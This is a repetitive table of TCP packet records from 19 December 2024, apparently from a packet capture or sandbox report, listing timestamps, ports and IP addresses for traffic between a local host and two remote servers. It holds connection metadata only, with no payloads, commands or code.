Dec 19, 2024 20:11:37.810786963 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.811944008 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.811994076 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.812052965 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.812104940 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.813286066 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.813395023 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.813425064 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.813446999 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.814819098 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.814889908 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.814975977 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.815139055 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.816257000 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.816356897 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.816385031 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.816430092 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.817434072 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.817507029 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.817539930 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.817616940 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.818768978 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.818834066 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.818844080 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.818953037 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.819938898 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.819988966 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.820071936 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.820138931 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.821326971 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.821391106 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.821440935 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.821485996 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.822582006 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.822664976 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.822695017 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.822745085 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.824044943 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.824155092 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.824170113 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.824405909 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.825387955 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.825442076 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.825470924 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.825516939 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.826570034 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.826618910 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.826683044 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.826742887 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.828012943 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.828098059 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.828181982 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.828272104 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.829262972 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.829360962 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.829368114 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.829420090 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.830564022 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.830645084 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.830671072 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.830841064 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.831935883 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.831995964 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.832072973 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.832119942 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.833267927 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.833319902 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.833815098 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.834070921 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.834532976 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.834597111 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.834672928 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.834732056 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.835906982 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.835944891 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.836009979 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.836083889 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.837218046 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.837266922 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.837435961 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.837522030 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.838686943 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.838742018 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.838816881 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.838875055 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.839978933 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.840027094 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.840109110 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.840173006 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.841183901 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.841234922 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.952212095 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.952279091 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.952299118 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.952353954 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.952892065 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.952949047 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.953051090 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.953102112 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.953151941 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.953200102 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.954320908 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.954370975 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.954451084 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.954503059 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.955667973 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.955722094 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.955744028 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.955786943 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.956856012 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.956913948 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.956974983 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.957029104 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.958046913 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.958096027 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.958153009 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.958203077 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.959266901 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.959328890 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.959402084 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.959455967 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.960483074 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.960555077 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.960589886 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.960639000 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.961664915 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.961734056 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.961760998 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.961822033 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.962965965 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.963020086 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.963098049 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.963144064 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.964162111 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.964224100 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.964272976 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.964319944 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.965178967 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.965234995 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.965289116 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.965337992 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.966433048 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.966484070 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.966533899 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.966583967 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.967531919 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.967577934 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.967647076 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.967701912 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.968741894 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.968801022 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.968888998 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.968943119 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.969877005 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.969921112 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.969975948 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.970016003 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.971033096 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.971074104 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.971235037 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.971282005 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.972218037 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.972274065 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.972342014 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.972381115 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.973409891 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.973459005 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.973529100 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.973577023 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.974581003 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.974637032 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.974647999 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.974698067 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.975709915 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.975756884 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.975884914 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.975930929 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.976875067 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.976936102 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.977022886 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.977072954 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.978025913 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.978076935 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.978111029 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.978167057 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.979213953 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.979257107 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.979285955 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.979334116 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.980390072 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.980453968 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.980479002 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.980529070 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.981540918 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.981602907 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.981673956 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.981719971 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.982691050 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.982743979 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.982826948 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.982887030 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.983865976 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.983922958 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.983958960 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.983999014 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.985070944 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.985119104 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.985167980 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.985208035 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.986203909 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.986254930 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.986314058 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.986361027 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.987416029 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.987467051 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.987495899 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.987545967 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.988543987 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.988596916 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.988656998 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.988707066 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.989751101 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.989799023 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.989833117 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.989895105 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.990866899 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.990920067 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.991015911 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.991080999 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.992073059 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.992163897 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.992187977 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.992225885 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.993222952 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.993284941 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.993315935 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.993366003 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.994417906 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.994469881 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.994483948 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.994533062 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.995563030 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.995611906 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.995671988 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.995719910 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.996733904 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.996793985 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.996953964 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.997003078 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.997889996 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.997961044 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.997988939 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.998034000 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.999047041 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.999106884 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:37.999226093 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:37.999274015 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.000214100 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.000262022 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.000413895 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.000461102 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.001396894 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.001437902 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.001494884 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.001538992 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.002552986 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.002603054 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.002656937 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.002701998 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.003715992 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.003827095 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.003839016 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.003906012 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.004911900 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.004966021 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.005099058 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.005151987 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.006042957 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.006098032 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.006156921 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.006211996 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.007345915 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.007395029 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.007692099 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.007750034 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.008382082 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.008431911 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.008539915 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.008590937 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.009565115 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.009624004 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.009687901 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.009740114 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.010729074 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.010771990 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.010803938 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.010869026 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.011882067 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.011934996 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.011976004 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.012023926 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.013046980 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.013098001 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.013115883 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.013161898 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.051978111 CET	49850	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:38.052010059 CET	443	49850	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:38.052102089 CET	49850	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:38.052424908 CET	49850	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:38.052443027 CET	443	49850	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:38.144474030 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.144519091 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.144694090 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.144783974 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.144830942 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.144860029 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.144911051 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.145776987 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.145831108 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.145940065 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.145998001 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.146969080 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.147022009 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.147160053 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.147202969 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.148155928 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.148201942 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.148233891 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.148294926 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.149251938 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.149296999 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.149358988 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.149411917 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.150290966 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.150347948 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.150434017 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.150482893 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.151407957 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.151467085 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.151520014 CET	80	49842	31.41.244.11	192.168.2.4
